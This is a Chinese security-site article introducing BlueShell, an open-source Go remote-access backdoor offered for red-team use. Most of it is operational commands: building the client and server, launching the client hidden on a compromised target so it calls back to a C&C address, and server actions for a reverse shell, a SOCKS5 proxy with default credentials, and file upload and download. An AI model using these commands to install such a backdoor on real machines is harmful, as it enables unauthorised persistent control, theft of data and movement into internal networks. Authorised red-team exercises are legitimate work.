freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红蓝对抗开源远控:BlueShell
2021-03-02 11:09:54
所属地 浙江省

0x00. BlueShell介绍

BlueShell是一个Go语言编写的持续远控工具,拿下靶机后,根据操作系统版本下载部署对应的bsClient,其会每隔固定时间向指定的C&C地址发起反弹连接尝试,在C&C端运行bsServer即可连接bsClient,从而实现对靶机的持续控制,主要适用场景:

红蓝对抗中的持久化后门或内网代理

社工钓鱼二次加载Payload

目前支持的主要功能有:

循环持续控制

跨平台,支持Linux、Windows、MacOS

交互式Shell反弹,Linux支持Tab补全、VIM、Ctrl+C等交互式操作,Windows只支持普通反弹Shell

Socks5代理反弹

文件上传、下载

TLS通信加密

项目地址:https://github.com/whitehatnote/BlueShell

0x01. 编译可执行文件

Linux and MacOS

生成bsClient

go get github.com/armon/go-socks5
go get github.com/creack/pty
go get github.com/hashicorp/yamux

go build --ldflags "-s -w " -o bsClient client.go

生成bsServer

go get github.com/creack/pty
go get github.com/hashicorp/yamux
go get github.com/djimenez/iconv-go
go get golang.org/x/crypto/ssh/terminal

go build --ldflags "-s -w " -o bsServer server.go

Windows

生成bsClient

go get github.com/armon/go-socks5
go get github.com/creack/pty
go get github.com/hashicorp/yamux

go build --ldflags "-s -w -H=windowsgui" -o bsClient.exe client.go

0x02. 工具使用方法

Client

在受控靶机上运行bsClient

Windows靶机:

默认配置模式启动

start /b bsClient.exe

参数模式启动,-h指定远控端地址,-p指定远控端监听端口,-t指定尝试连接远控的间隔秒数

start /b bsClient.exe -h 10.0.0.1 -p 443 -t 10

Linux and MacOS靶机:

默认配置模式启动

nohup bsClient &

参数模式启动,-h指定远控端地址,-p指定远控端监听端口

nohup bsClient -h 10.0.0.1 -p 443 &

C&C Server

远控端运行bsServer,需要是Linux机器,并且key目录与bsServer在相同根目录下,启动成功如下效果:

[root@host BluesShell]# ls -al
总用量 4148
drwxr-xr-x   3 root root    4096 6月  17 22:14 .
drwxrwxrwt. 10 root root   40960 6月  17 22:13 ..
-rwxr-xr-x   1 root root 4193320 6月  17 22:13 bsServer
drwxr-xr-x   2 root root    4096 6月  17 22:13 key
[root@host BluesShell]# ./bsServer
waiting for client connect...

Action:反弹shell

默认启动,远控监听8081端口,执行反弹shell操作

./bsServer

参数启动,-p指定远控监听443端口,-a指定执行反弹shell操作

./bsServer -p 443 -a shell

windows靶机的乱码问题解决,-rencode指定靶机的编码类型

./bsServer -rencode gb2312

Action:反弹Socks5代理

默认启动,远控监听8081端口,执行反弹socks操作,socks5的默认监听端口为7777,默认用户名blue,默认密码Blue@2020

./bsServer -a socks

参数启动,-p指定远控监听443端口,-a指定执行反弹socks操作,-sport指定socks监听的端口为7778,-suser指定socks代理的认证账号,-spass指定socks代理的认证密码

./bsServer -p 443 -a socks -sport 7778 -suser socksUser -spass socksPassword

Action:文件上传下载

上传本地文件到受控靶机,-lpath指定需要上传的本地文件路径,-rdir指定上传到的目录

./bsServer -a upload -lpath /tmp/tmp.txt -rdir c:\\

从受控靶机下载文件到本地,-rpath指定需要下载的文件地址,-ldir指定存放下载文件的本地路径

./bsServer -a download -rpath c:\\tmp.txt -ldir /tmp

0x03. 参考

https://github.com/sysdream/hershell

https://github.com/creaktive/tsh

# 渗透测试 # 黑客 # 木马
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录